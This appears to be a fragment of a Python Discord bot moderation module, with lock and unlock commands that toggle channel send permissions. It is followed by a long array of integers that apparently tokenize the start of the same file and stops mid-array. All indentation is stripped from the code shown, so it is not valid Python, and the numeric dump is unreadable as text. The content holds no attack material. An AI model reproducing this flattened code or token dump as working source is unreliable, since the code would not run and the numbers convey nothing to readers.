lang = await s.get_field("locale", CONFIG["default_locale"])
STRINGS = Strings(lang)
for channel in ctx.guild.channels:
await channel.set_permissions(role, send_messages=False)
embed = discord.Embed(
title=STRINGS["moderation"]["lockdowntitleone"],
description=STRINGS["moderation"]["lockdowndescone"],
)
await ctx.send(embed=embed)
@commands.command()
@commands.guild_only()
@commands.bot_has_permissions(manage_roles=True)
@commands.has_permissions(manage_roles=True)
@commands.cooldown(1, 30, commands.BucketType.user)
async def unlockrole(self, ctx, role: discord.Role):
s = await Settings(ctx.guild.id)
lang = await s.get_field("locale", CONFIG["default_locale"])
STRINGS = Strings(lang)
for channel in ctx.guild.channels:
await channel.set_permissions(role, send_messages=True)
embed = discord.Embed(
title=STRINGS["moderation"]["lockdownliftedtitleone"],
description=STRINGS["moderation"]["lockdownlifteddescone"],
color=0x6E8F5D,
)
await ctx.send(embed=embed)
@commands.command()
@commands.guild_only()
@commands.bot_has_permissions(manage_roles=True)
@commands.has_permissions(manage_roles=True)
@commands.cooldown(1, 30, commands.BucketType.user)
async def lockdown(self, ctx):
s = await Settings(ctx.guild.id)
lang = await s.get_field("locale", CONFIG["default_locale"])
STRINGS = Strings(lang)
for channel in ctx.guild.channels:
await channel.set_permissions(ctx.guild.default_role,
send_messages=False)
embed = discord.Embed(
title=STRINGS["moderation"]["lockdowntitleone"],
description=STRINGS["moderation"]["lockdowndescone"],
)
await ctx.send(embed=embed)
@commands.command()
@commands.guild_only()
@commands.bot_has_permissions(manage_roles=True)
@commands.has_permissions(manage_roles=True)
@commands.cooldown(1, 30, commands.BucketType.user)
async def unlock(self, ctx):
s = await Settings(ctx.guild.id)
lang = await s.get_field("locale", CONFIG["default_locale"])
STRINGS = Strings(lang)
for channel in ctx.guild.channels:
await channel.set_permissions(ctx.guild.default_role,
send_messages=True)
embed = discord.Embed(
title=STRINGS["moderation"]["lockdownliftedtitleone"],
description=STRINGS["moderation"]["lockdownlifteddescone"],
color=0x6E8F5D,
)
await ctx.send(embed=embed)
@commands.command()
@commands.guild_only()
@commands.bot_has_permissions(manage_roles=True)
@commands.has_permissions(manage_roles=True)
@commands.cooldown(1, 30, commands.BucketType.user)
async def channellock(self, ctx):
s = await Settings(ctx.guild.id)
lang = await s.get_field("locale", CONFIG["default_locale"])
STRINGS = Strings(lang)
await ctx.channel.set_permissions(ctx.guild.default_role,
send_messages=False)
embed = discord.Embed(
title=STRINGS["moderation"]["channellockdowntitle"],
description=STRINGS["moderation"]["channellockdowndesc"],
color=0x000000,
)
await ctx.send(embed=embed)
@commands.command()
@commands.guild_only()
@commands.bot_has_permissions(manage_roles=True)
@commands.has_permissions(manage_roles=True)
@commands.cooldown(1, 30, commands.BucketType.user)
async def channelunlock(self, ctx):
s = await Settings(ctx.guild.id)
lang = await s.get_field("locale", CONFIG["default_locale"])
STRINGS = Strings(lang)
await ctx.channel.set_permissions(ctx.guild.default_role,
send_messages=True)
embed = discord.Embed(
title=STRINGS["moderation"]["channellockdownliftedtitle"],
description=STRINGS["moderation"]["channellockdownlifteddesc"],
color=0x6E8F5D,
)
await ctx.send(embed=embed)
def setup(bot: Bot) -> NoReturn:
bot.add_cog(Moderation(bot))
Logger.cog_loaded(bot.get_cog("Moderation").name)
| [
1,
529,
9507,
29958,
4351,
29914,
29883,
12099,
29914,
1545,
261,
362,
29889,
2272,
13,
5215,
408,
948,
3934,
13,
3166,
19229,
1053,
1939,
11609,
13,
13,
5215,
2313,
536,
13,
3166,
2313,
536,
1053,
19495,
29892,
4911,
13,
3166,
2313,
536,
29889,
1062,
1053,
8260,
13,
3166,
2313,
536,
29889,
1062,
29889,
26381,
1053,
11273,
29892,
15228,
29892,
4122,
7584,
13,
3166,
2313,
536,
29918,
14036,
1053,
11025,
29892,
11025,
5568,
29892,
8565,
536,
25503,
13,
13,
3166,
274,
12099,
29889,
13239,
1053,
12782,
29892,
28468,
29892,
19215,
29892,
3767,
886,
29892,
22310,
29879,
13,
13,
25903,
353,
12782,
580,
13,
13,
13,
1990,
3382,
261,
362,
29898,
26381,
29889,
29907,
468,
29892,
1024,
543,
2111,
261,
362,
29908,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
9225,
29901,
11273,
29897,
1599,
6213,
29901,
13,
4706,
1583,
29889,
7451,
353,
9225,
13,
4706,
1583,
29889,
978,
353,
376,
2111,
261,
362,
29908,
13,
13,
1678,
732,
26381,
29889,
6519,
580,
13,
1678,
732,
26381,
29889,
2543,
789,
29918,
6194,
580,
13,
1678,
732,
26381,
29889,
7451,
29918,
5349,
29918,
17858,
6847,
29898,
2571,
29918,
28109,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
5349,
29918,
17858,
6847,
29898,
2571,
29918,
28109,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
1111,
1025,
776,
29898,
29896,
29892,
29871,
29945,
29892,
8260,
29889,
29933,
2707,
300,
1542,
29889,
1792,
29897,
13,
1678,
7465,
822,
9892,
29898,
1311,
29892,
13,
462,
29871,
12893,
29901,
15228,
29892,
13,
462,
29871,
4509,
29901,
19495,
29892,
13,
462,
29871,
334,
29892,
13,
462,
29871,
2769,
29901,
851,
353,
376,
29940,
29914,
29909,
1159,
1599,
1939,
11609,
29901,
13,
4706,
9995,
29933,
550,
278,
1404,
29889,
13,
13,
4706,
6212,
5026,
29901,
13,
4706,
448,
28400,
13,
4706,
448,
421,
14242,
29952,
448,
1404,
13,
4706,
448,
421,
23147,
29952,
448,
9892,
2769,
13,
13,
4706,
9995,
13,
4706,
269,
353,
7272,
19215,
29898,
13073,
29889,
2543,
789,
29889,
333,
29897,
13,
4706,
6361,
353,
7272,
269,
29889,
657,
29918,
2671,
703,
23337,
613,
8707,
18667,
3366,
4381,
29918,
23337,
20068,
13,
4706,
29486,
4214,
29903,
353,
3767,
886,
29898,
3893,
29897,
13,
13,
4706,
1831,
29918,
14036,
353,
5519,
13,
9651,
11025,
29898,
3293,
29922,
3125,
5568,
29889,
12692,
29892,
3858,
543,
30706,
4968,
13,
9651,
11025,
29898,
3293,
29922,
3125,
5568,
29889,
1127,
29892,
3858,
543,
29990,
4968,
13,
4706,
29588,
13,
4706,
2309,
29918,
14036,
353,
5519,
13,
9651,
11025,
29898,
3293,
29922,
3125,
5568,
29889,
7979,
29891,
29892,
3858,
543,
30064,
613,
12708,
29922,
5574,
511,
13,
4706,
29588,
13,
13,
4706,
8297,
26897,
353,
2313,
536,
29889,
6026,
2580,
29898,
13,
9651,
3611,
543,
29933,
273,
10516,
613,
13,
9651,
6139,
543,
28956,
6132,
366,
864,
304,
9892,
445,
4509,
29973,
28956,
613,
13,
4706,
1723,
13,
4706,
7272,
12893,
29889,
6717,
29898,
17987,
29922,
17987,
26897,
29892,
7117,
29922,
2622,
29918,
14036,
29897,
13,
4706,
2933,
353,
7272,
1583,
29889,
7451,
29889,
10685,
29918,
1454,
29898,
13,
9651,
376,
3092,
29918,
3808,
613,
1423,
29922,
2892,
2643,
29901,
2643,
29889,
8921,
1275,
12893,
29889,
8921,
29897,
13,
4706,
1018,
29901,
13,
9651,
565,
2933,
29889,
9700,
29889,
1643,
1275,
376,
30706,
1115,
13,
18884,
7272,
2933,
29889,
3636,
29898,
13,
462,
1678,
1134,
29922,
29955,
29892,
13,
462,
1678,
8297,
29922,
2218,
16090,
29889,
6026,
2580,
29898,
13,
462,
4706,
3611,
543,
4276,
16725,
613,
13,
462,
4706,
6139,
29922,
29888,
29908,
29933,
9450,
426,
14242,
29913,
363,
426,
23147,
17671,
13,
462,
4706,
2927,
29922,
29900,
29916,
4198,
29947,
29900,
29900,
29900,
29892,
13,
462,
1678,
10353,
13,
462,
1678,
7117,
29922,
15091,
29918,
14036,
29892,
13,
18884,
1723,
13,
18884,
565,
451,
4509,
29889,
7451,
29901,
13,
462,
1678,
8297,
353,
22310,
29879,
29889,
2704,
29918,
17987,
29898,
13,
462,
4706,
29486,
4214,
29903,
3366,
1545,
261,
362,
3108,
3366,
18933,
29918,
29895,
860,
16862,
4830,
29898,
13,
462,
9651,
12893,
29889,
2543,
789,
29892,
2769,
876,
13,
462,
1678,
7272,
4509,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
18884,
7272,
408,
948,
3934,
29889,
17059,
29898,
29945,
29897,
13,
18884,
7272,
4509,
29889,
2571,
29898,
23147,
29922,
23147,
29897,
13,
9651,
1683,
29901,
13,
18884,
7272,
2933,
29889,
3636,
29898,
13,
462,
1678,
1134,
29922,
29955,
29892,
13,
462,
1678,
8297,
29922,
2218,
16090,
29889,
6026,
2580,
29898,
13,
462,
4706,
3611,
543,
4276,
1976,
18054,
613,
13,
462,
4706,
6139,
543,
1576,
3158,
471,
633,
18054,
491,
14855,
278,
694,
2826,
613,
13,
462,
4706,
2927,
29922,
29900,
29916,
7858,
29906,
29923,
29946,
29946,
29892,
13,
462,
1678,
10353,
13,
462,
1678,
7117,
29922,
15091,
29918,
14036,
29892,
13,
18884,
1723,
13,
13,
4706,
5174,
2313,
536,
29889,
2831,
29890,
4215,
29901,
13,
9651,
7272,
12893,
29889,
4906,
29889,
1202,
29918,
276,
2467,
29898,
25903,
3366,
1217,
29918,
15810,
2397,
20068,
13,
9651,
8297,
353,
22310,
29879,
29889,
2704,
29918,
17987,
29898,
20785,
29903,
3366,
2704,
3108,
3366,
2571,
29918,
14057,
20068,
13,
9651,
10191,
353,
7272,
12893,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
9651,
7272,
408,
948,
3934,
29889,
17059,
29898,
29945,
29897,
13,
9651,
7272,
10191,
29889,
8143,
580,
13,
13,
4706,
1683,
29901,
13,
9651,
1018,
29901,
13,
18884,
8297,
353,
22310,
29879,
29889,
2704,
29918,
17987,
29898,
13,
462,
1678,
29486,
4214,
29903,
3366,
1545,
261,
362,
3108,
3366,
18933,
29918,
2571,
16862,
4830,
29898,
13,
462,
4706,
12893,
29889,
2543,
789,
29889,
978,
29892,
2769,
876,
13,
18884,
7272,
4509,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
9651,
5174,
29901,
13,
18884,
1209,
13,
13,
9651,
7272,
12893,
29889,
4906,
29889,
1202,
29918,
276,
2467,
29898,
25903,
3366,
3582,
29918,
15810,
2397,
20068,
13,
13,
1678,
732,
26381,
29889,
6519,
580,
13,
1678,
732,
26381,
29889,
2543,
789,
29918,
6194,
580,
13,
1678,
732,
26381,
29889,
7451,
29918,
5349,
29918,
17858,
6847,
29898,
2571,
29918,
28109,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
5349,
29918,
17858,
6847,
29898,
2571,
29918,
28109,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
1111,
1025,
776,
29898,
29896,
29892,
29871,
29945,
29892,
8260,
29889,
29933,
2707,
300,
1542,
29889,
1792,
29897,
13,
1678,
7465,
822,
443,
2571,
29898,
1311,
29892,
12893,
29892,
334,
29892,
4509,
29897,
1599,
1939,
11609,
29901,
13,
4706,
9995,
2525,
29890,
550,
278,
1404,
29889,
13,
13,
4706,
6212,
5026,
29901,
13,
4706,
448,
28400,
13,
4706,
448,
421,
14242,
29952,
448,
1404,
4055,
29889,
8741,
29901,
421,
978,
29937,
29896,
29906,
29941,
29946,
29952,
13,
13,
4706,
9995,
13,
4706,
269,
353,
7272,
19215,
29898,
13073,
29889,
2543,
789,
29889,
333,
29897,
13,
4706,
6361,
353,
7272,
269,
29889,
657,
29918,
2671,
703,
23337,
613,
8707,
18667,
3366,
4381,
29918,
23337,
20068,
13,
4706,
29486,
4214,
29903,
353,
3767,
886,
29898,
3893,
29897,
13,
13,
4706,
1831,
29918,
14036,
353,
5519,
13,
9651,
11025,
29898,
3293,
29922,
3125,
5568,
29889,
12692,
29892,
3858,
543,
30706,
4968,
13,
9651,
11025,
29898,
3293,
29922,
3125,
5568,
29889,
1127,
29892,
3858,
543,
29990,
4968,
13,
4706,
29588,
13,
4706,
2309,
29918,
14036,
353,
5519,
13,
9651,
11025,
29898,
3293,
29922,
3125,
5568,
29889,
7979,
29891,
29892,
3858,
543,
30064,
613,
12708,
29922,
5574,
511,
13,
4706,
29588,
13,
13,
4706,
8297,
26897,
353,
2313,
536,
29889,
6026,
2580,
29898,
13,
9651,
3611,
543,
2525,
2571,
10516,
613,
13,
9651,
6139,
543,
28956,
6132,
366,
864,
304,
443,
2571,
445,
4509,
29973,
28956,
613,
13,
4706,
1723,
13,
4706,
7272,
12893,
29889,
6717,
29898,
17987,
29922,
17987,
26897,
29892,
7117,
29922,
2622,
29918,
14036,
29897,
13,
4706,
2933,
353,
7272,
1583,
29889,
7451,
29889,
10685,
29918,
1454,
29898,
13,
9651,
376,
3092,
29918,
3808,
613,
1423,
29922,
2892,
2643,
29901,
2643,
29889,
8921,
1275,
12893,
29889,
8921,
29897,
13,
13,
4706,
565,
12305,
29908,
297,
12893,
29889,
4906,
29889,
3051,
322,
2933,
29889,
9700,
29889,
1643,
1275,
376,
30706,
1115,
13,
9651,
289,
11310,
29918,
7193,
353,
7272,
12893,
29889,
2543,
789,
29889,
29890,
550,
580,
13,
9651,
363,
9892,
29918,
8269,
297,
289,
11310,
29918,
7193,
29901,
13,
18884,
4509,
29918,
978,
29892,
4509,
29918,
2218,
29883,
20386,
1061,
353,
4509,
29889,
5451,
14822,
1159,
13,
18884,
1404,
353,
9892,
29918,
8269,
29889,
1792,
13,
18884,
565,
313,
1792,
29889,
978,
29892,
1404,
29889,
2218,
29883,
20386,
1061,
29897,
1275,
313,
13,
462,
4706,
4509,
29918,
978,
29892,
13,
462,
4706,
4509,
29918,
2218,
29883,
20386,
1061,
29892,
13,
462,
1125,
13,
462,
1678,
7272,
12893,
29889,
2543,
789,
29889,
348,
2571,
29898,
1792,
29897,
13,
462,
1678,
7272,
2933,
29889,
3636,
29898,
13,
462,
4706,
1134,
29922,
29955,
29892,
13,
462,
4706,
8297,
29922,
2218,
16090,
29889,
6026,
2580,
29898,
13,
462,
9651,
3611,
543,
4276,
16725,
613,
13,
462,
9651,
6139,
29922,
29888,
29908,
2525,
29890,
11310,
426,
1792,
17671,
13,
462,
9651,
2927,
29922,
29900,
29916,
4198,
29947,
29900,
29900,
29900,
29892,
13,
462,
4706,
10353,
13,
462,
4706,
7117,
29922,
15091,
29918,
14036,
29892,
13,
462,
1678,
1723,
13,
13,
9651,
736,
13,
4706,
25342,
2933,
29889,
9700,
29889,
1643,
1275,
376,
30706,
1115,
13,
9651,
4509,
353,
7272,
1583,
29889,
4645,
29889,
9155,
29918,
1792,
29898,
524,
29898,
14242,
876,
13,
9651,
7272,
12893,
29889,
2543,
789,
29889,
348,
2571,
29898,
14242,
29897,
13,
9651,
7272,
2933,
29889,
3636,
29898,
13,
18884,
1134,
29922,
29955,
29892,
13,
18884,
8297,
29922,
2218,
16090,
29889,
6026,
2580,
29898,
13,
462,
1678,
3611,
543,
4276,
16725,
613,
13,
462,
1678,
6139,
29922,
29888,
29908,
2525,
29890,
11310,
426,
14242,
17671,
13,
462,
1678,
2927,
29922,
29900,
29916,
4198,
29947,
29900,
29900,
29900,
29892,
13,
18884,
10353,
13,
18884,
7117,
29922,
15091,
29918,
14036,
29892,
13,
9651,
1723,
13,
4706,
1683,
29901,
13,
9651,
7272,
2933,
29889,
3636,
29898,
13,
18884,
1134,
29922,
29955,
29892,
13,
18884,
8297,
29922,
2218,
16090,
29889,
6026,
2580,
29898,
13,
462,
1678,
3611,
543,
4276,
1976,
18054,
613,
13,
462,
1678,
6139,
543,
1576,
3158,
471,
633,
18054,
491,
14855,
278,
694,
2826,
613,
13,
462,
1678,
2927,
29922,
29900,
29916,
7858,
29906,
29923,
29946,
29946,
29892,
13,
18884,
10353,
13,
18884,
7117,
29922,
15091,
29918,
14036,
29892,
13,
9651,
1723,
13,
13,
4706,
7272,
12893,
29889,
4906,
29889,
1202,
29918,
276,
2467,
29898,
25903,
3366,
1217,
29918,
15810,
2397,
20068,
13,
4706,
8297,
353,
22310,
29879,
29889,
2704,
29918,
17987,
29898,
20785,
29903,
3366,
2704,
3108,
3366,
1792,
29918,
1333,
29918,
11940,
20068,
13,
4706,
7272,
12893,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
13,
1678,
732,
26381,
29889,
6519,
580,
13,
1678,
732,
26381,
29889,
2543,
789,
29918,
6194,
580,
13,
1678,
732,
26381,
29889,
7451,
29918,
5349,
29918,
17858,
6847,
29898,
2571,
29918,
28109,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
5349,
29918,
17858,
6847,
29898,
2571,
29918,
28109,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
1111,
1025,
776,
29898,
29896,
29892,
29871,
29945,
29892,
8260,
29889,
29933,
2707,
300,
1542,
29889,
1792,
29897,
13,
1678,
7465,
822,
1773,
747,
273,
29898,
1311,
29892,
13,
462,
539,
12893,
29901,
15228,
29892,
13,
462,
539,
5144,
29901,
4122,
7584,
29961,
13404,
1402,
13,
462,
539,
334,
29892,
13,
462,
539,
2769,
29901,
851,
353,
376,
29940,
29914,
29909,
1159,
1599,
1939,
11609,
29901,
13,
4706,
9995,
29933,
550,
2999,
4160,
29889,
13,
13,
4706,
6212,
5026,
29901,
13,
4706,
448,
28400,
13,
4706,
448,
421,
14242,
29952,
448,
1404,
13,
4706,
448,
421,
23147,
29952,
448,
9892,
2769,
13,
13,
4706,
9995,
13,
4706,
269,
353,
7272,
19215,
29898,
13073,
29889,
2543,
789,
29889,
333,
29897,
13,
4706,
6361,
353,
7272,
269,
29889,
657,
29918,
2671,
703,
23337,
613,
8707,
18667,
3366,
4381,
29918,
23337,
20068,
13,
4706,
29486,
4214,
29903,
353,
3767,
886,
29898,
3893,
29897,
13,
4706,
451,
29918,
29890,
11310,
29918,
28109,
353,
5159,
13,
13,
4706,
363,
4509,
297,
5144,
29901,
13,
9651,
1018,
29901,
13,
18884,
7272,
4509,
29889,
2571,
29898,
23147,
29922,
23147,
29897,
13,
18884,
7272,
12893,
29889,
6717,
703,
29924,
13415,
289,
11310,
1159,
13,
13,
9651,
5174,
2313,
536,
29889,
2831,
29890,
4215,
29901,
13,
18884,
451,
29918,
29890,
11310,
29918,
28109,
29889,
4397,
29898,
14242,
29889,
358,
291,
29897,
13,
13,
9651,
1683,
29901,
13,
18884,
1018,
29901,
13,
462,
1678,
8297,
353,
22310,
29879,
29889,
2704,
29918,
17987,
29898,
13,
462,
4706,
29486,
4214,
29903,
3366,
1545,
261,
362,
3108,
3366,
18933,
29918,
2571,
16862,
4830,
29898,
13,
462,
9651,
12893,
29889,
2543,
789,
29889,
978,
29892,
2769,
876,
13,
462,
1678,
7272,
4509,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
18884,
5174,
29901,
13,
462,
1678,
1209,
13,
13,
4706,
565,
451,
451,
29918,
29890,
11310,
29918,
28109,
29901,
13,
9651,
7272,
12893,
29889,
4906,
29889,
1202,
29918,
276,
2467,
29898,
25903,
3366,
3582,
29918,
15810,
2397,
20068,
13,
4706,
1683,
29901,
13,
9651,
7272,
12893,
29889,
4906,
29889,
1202,
29918,
276,
2467,
29898,
25903,
3366,
25442,
29918,
15810,
2397,
20068,
13,
9651,
10191,
353,
7272,
12893,
29889,
6717,
29898,
13,
18884,
22310,
29879,
29889,
25442,
29918,
17987,
29898,
13,
462,
1678,
29486,
4214,
29903,
3366,
1545,
261,
362,
3108,
3366,
265,
29918,
1333,
29918,
8159,
29918,
4713,
747,
273,
16862,
4830,
29898,
13,
462,
4706,
9162,
11393,
7122,
29898,
1333,
29918,
29890,
11310,
29918,
28109,
13697,
13,
9651,
7272,
408,
948,
3934,
29889,
17059,
29898,
29941,
29900,
29897,
13,
9651,
7272,
10191,
29889,
8143,
580,
13,
13,
1678,
732,
26381,
29889,
6519,
580,
13,
1678,
732,
26381,
29889,
2543,
789,
29918,
6194,
580,
13,
1678,
732,
26381,
29889,
7451,
29918,
5349,
29918,
17858,
6847,
29898,
29895,
860,
29918,
28109,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
5349,
29918,
17858,
6847,
29898,
29895,
860,
29918,
28109,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
1111,
1025,
776,
29898,
29896,
29892,
29871,
29945,
29892,
8260,
29889,
29933,
2707,
300,
1542,
29889,
1792,
29897,
13,
1678,
7465,
822,
24817,
29898,
1311,
29892,
13,
462,
259,
12893,
29901,
15228,
29892,
13,
462,
259,
4509,
29901,
19495,
29892,
13,
462,
259,
334,
29892,
13,
462,
259,
2769,
29901,
851,
353,
376,
29940,
29914,
29909,
1159,
1599,
1939,
11609,
29901,
13,
4706,
9995,
29968,
7358,
278,
1404,
29889,
13,
13,
4706,
6212,
5026,
29901,
13,
4706,
448,
28400,
13,
4706,
448,
421,
14242,
29952,
448,
1404,
13,
4706,
448,
421,
23147,
29952,
448,
24817,
2769,
13,
13,
4706,
9995,
13,
4706,
269,
353,
7272,
19215,
29898,
13073,
29889,
2543,
789,
29889,
333,
29897,
13,
4706,
6361,
353,
7272,
269,
29889,
657,
29918,
2671,
703,
23337,
613,
8707,
18667,
3366,
4381,
29918,
23337,
20068,
13,
4706,
29486,
4214,
29903,
353,
3767,
886,
29898,
3893,
29897,
13,
13,
4706,
1831,
29918,
14036,
353,
5519,
13,
9651,
11025,
29898,
3293,
29922,
3125,
5568,
29889,
12692,
29892,
3858,
543,
30706,
4968,
13,
9651,
11025,
29898,
3293,
29922,
3125,
5568,
29889,
1127,
29892,
3858,
543,
29990,
4968,
13,
4706,
29588,
13,
4706,
2309,
29918,
14036,
353,
5519,
13,
9651,
11025,
29898,
3293,
29922,
3125,
5568,
29889,
7979,
29891,
29892,
3858,
543,
30064,
613,
12708,
29922,
5574,
511,
13,
4706,
29588,
13,
13,
4706,
8297,
26897,
353,
2313,
536,
29889,
6026,
2580,
29898,
13,
9651,
3611,
543,
29968,
860,
10516,
613,
13,
9651,
6139,
543,
28956,
6132,
366,
864,
304,
24817,
445,
4509,
29973,
28956,
613,
13,
4706,
1723,
13,
4706,
7272,
12893,
29889,
6717,
29898,
17987,
29922,
17987,
26897,
29892,
7117,
29922,
2622,
29918,
14036,
29897,
13,
4706,
2933,
353,
7272,
1583,
29889,
7451,
29889,
10685,
29918,
1454,
29898,
13,
9651,
376,
3092,
29918,
3808,
613,
1423,
29922,
2892,
2643,
29901,
2643,
29889,
8921,
1275,
12893,
29889,
8921,
29897,
13,
4706,
565,
2933,
29889,
9700,
29889,
1643,
1275,
376,
30706,
1115,
13,
9651,
7272,
2933,
29889,
3636,
29898,
13,
18884,
1134,
29922,
29955,
29892,
13,
18884,
8297,
29922,
2218,
16090,
29889,
6026,
2580,
29898,
13,
462,
1678,
3611,
543,
4276,
15642,
9446,
613,
13,
462,
1678,
6139,
29922,
29888,
29908,
29968,
17840,
426,
14242,
29913,
363,
426,
23147,
17671,
13,
462,
1678,
2927,
29922,
29900,
29916,
7858,
29906,
29923,
29946,
29946,
29892,
13,
18884,
10353,
13,
18884,
7117,
29922,
15091,
29918,
14036,
29892,
13,
9651,
1723,
13,
9651,
565,
451,
4509,
29889,
7451,
29901,
13,
18884,
8297,
353,
22310,
29879,
29889,
2704,
29918,
17987,
29898,
13,
462,
1678,
29486,
4214,
29903,
3366,
1545,
261,
362,
3108,
3366,
18933,
29918,
29895,
860,
16862,
4830,
29898,
13073,
29889,
2543,
789,
29892,
2769,
876,
13,
18884,
7272,
4509,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
9651,
7272,
408,
948,
3934,
29889,
17059,
29898,
29945,
29897,
13,
9651,
7272,
4509,
29889,
29895,
860,
580,
13,
9651,
7272,
12893,
29889,
4906,
29889,
1202,
29918,
276,
2467,
29898,
25903,
3366,
3582,
29918,
15810,
2397,
20068,
13,
4706,
1683,
29901,
13,
9651,
7272,
2933,
29889,
3636,
29898,
13,
18884,
1134,
29922,
29955,
29892,
13,
18884,
8297,
29922,
2218,
16090,
29889,
6026,
2580,
29898,
13,
462,
1678,
3611,
543,
4276,
1976,
18054,
613,
13,
462,
1678,
6139,
543,
1576,
3158,
471,
633,
18054,
491,
14855,
278,
694,
2826,
613,
13,
462,
1678,
2927,
29922,
29900,
29916,
7858,
29906,
29923,
29946,
29946,
29892,
13,
18884,
10353,
13,
18884,
7117,
29922,
15091,
29918,
14036,
29892,
13,
9651,
1723,
13,
9651,
736,
13,
13,
1678,
732,
26381,
29889,
6519,
29898,
2606,
2129,
29922,
3366,
8551,
20068,
13,
1678,
732,
26381,
29889,
2543,
789,
29918,
6194,
580,
13,
1678,
732,
26381,
29889,
7451,
29918,
5349,
29918,
17858,
6847,
29898,
1171,
482,
29918,
19158,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
5349,
29918,
17858,
6847,
29898,
1171,
482,
29918,
19158,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
1111,
1025,
776,
29898,
29896,
29892,
29871,
29945,
29892,
8260,
29889,
29933,
2707,
300,
1542,
29889,
1792,
29897,
13,
1678,
7465,
822,
3708,
479,
29898,
1311,
29892,
12893,
29901,
15228,
29892,
1353,
29901,
938,
29897,
1599,
1939,
11609,
29901,
13,
4706,
9995,
2772,
1026,
267,
263,
6790,
1353,
310,
7191,
297,
278,
1857,
8242,
29889,
13,
13,
4706,
6212,
5026,
29901,
13,
4706,
448,
28400,
13,
4706,
448,
421,
4537,
29952,
448,
450,
1353,
310,
7191,
304,
367,
11132,
29889,
13,
13,
4706,
9995,
13,
4706,
269,
353,
7272,
19215,
29898,
13073,
29889,
2543,
789,
29889,
333,
29897,
13,
4706,
6361,
353,
7272,
269,
29889,
657,
29918,
2671,
703,
23337,
613,
8707,
18667,
3366,
4381,
29918,
23337,
20068,
13,
4706,
29486,
4214,
29903,
353,
3767,
886,
29898,
3893,
29897,
13,
13,
4706,
1831,
29918,
14036,
353,
5519,
13,
9651,
11025,
29898,
3293,
29922,
3125,
5568,
29889,
12692,
29892,
3858,
543,
30706,
4968,
13,
9651,
11025,
29898,
3293,
29922,
3125,
5568,
29889,
1127,
29892,
3858,
543,
29990,
4968,
13,
4706,
29588,
13,
4706,
2309,
29918,
14036,
353,
5519,
13,
9651,
11025,
29898,
3293,
29922,
3125,
5568,
29889,
7979,
29891,
29892,
3858,
543,
30064,
613,
12708,
29922,
5574,
511,
13,
4706,
29588,
13,
13,
4706,
8297,
26897,
353,
2313,
536,
29889,
6026,
2580,
29898,
13,
9651,
3611,
543,
18759,
10516,
613,
13,
9651,
6139,
29922,
29888,
6937,
16159,
6132,
366,
864,
304,
3349,
426,
4537,
29913,
7191,
29973,
28956,
613,
13,
4706,
1723,
13,
4706,
7272,
12893,
29889,
6717,
29898,
17987,
29922,
17987,
26897,
29892,
7117,
29922,
2622,
29918,
14036,
29897,
13,
4706,
2933,
353,
7272,
1583,
29889,
7451,
29889,
10685,
29918,
1454,
29898,
13,
9651,
376,
3092,
29918,
3808,
613,
1423,
29922,
2892,
2643,
29901,
2643,
29889,
8921,
1275,
12893,
29889,
8921,
29897,
13,
13,
4706,
565,
2933,
29889,
9700,
29889,
1643,
1275,
376,
30706,
1115,
13,
9651,
7272,
2933,
29889,
3636,
29898,
13,
18884,
1134,
29922,
29955,
29892,
13,
18884,
8297,
29922,
2218,
16090,
29889,
6026,
2580,
29898,
13,
462,
1678,
3611,
543,
4276,
15642,
9446,
613,
13,
462,
1678,
6139,
29922,
29888,
29908,
29925,
2007,
292,
426,
4537,
29913,
7191,
613,
13,
462,
1678,
2927,
29922,
29900,
29916,
7858,
29906,
29923,
29946,
29946,
29892,
13,
18884,
10353,
13,
18884,
7117,
29922,
15091,
29918,
14036,
29892,
13,
9651,
1723,
13,
9651,
7272,
408,
948,
3934,
29889,
17059,
29898,
29896,
29900,
29897,
13,
9651,
11132,
353,
7272,
12893,
29889,
12719,
29889,
15503,
479,
29898,
13400,
29922,
4537,
718,
29871,
29896,
29897,
13,
13,
4706,
1683,
29901,
13,
9651,
7272,
2933,
29889,
3636,
29898,
13,
18884,
1134,
29922,
29955,
29892,
13,
18884,
8297,
29922,
2218,
16090,
29889,
6026,
2580,
29898,
13,
462,
1678,
3611,
543,
4276,
1976,
18054,
613,
13,
462,
1678,
6139,
543,
1576,
3158,
471,
633,
18054,
491,
14855,
278,
694,
2826,
613,
13,
462,
1678,
2927,
29922,
29900,
29916,
7858,
29906,
29923,
29946,
29946,
29892,
13,
18884,
10353,
13,
18884,
7117,
29922,
15091,
29918,
14036,
29892,
13,
9651,
1723,
13,
9651,
736,
13,
13,
1678,
732,
26381,
29889,
6519,
29898,
2606,
2129,
29922,
3366,
842,
19254,
29892,
731,
978,
20068,
13,
1678,
732,
26381,
29889,
2543,
789,
29918,
6194,
580,
13,
1678,
732,
26381,
29889,
7451,
29918,
5349,
29918,
17858,
6847,
29898,
1171,
482,
29918,
19254,
7039,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
5349,
29918,
17858,
6847,
29898,
1171,
482,
29918,
307,
793,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
1111,
1025,
776,
29898,
29896,
29892,
29871,
29945,
29892,
8260,
29889,
29933,
2707,
300,
1542,
29889,
1792,
29897,
13,
1678,
7465,
822,
731,
978,
29898,
1311,
29892,
12893,
29901,
15228,
29892,
4509,
29901,
19495,
29892,
334,
29892,
13,
462,
418,
1024,
29901,
851,
29897,
1599,
1939,
11609,
29901,
13,
4706,
269,
353,
7272,
19215,
29898,
13073,
29889,
2543,
789,
29889,
333,
29897,
13,
4706,
6361,
353,
7272,
269,
29889,
657,
29918,
2671,
703,
23337,
613,
8707,
18667,
3366,
4381,
29918,
23337,
20068,
13,
4706,
29486,
4214,
29903,
353,
3767,
886,
29898,
3893,
29897,
13,
13,
4706,
565,
7431,
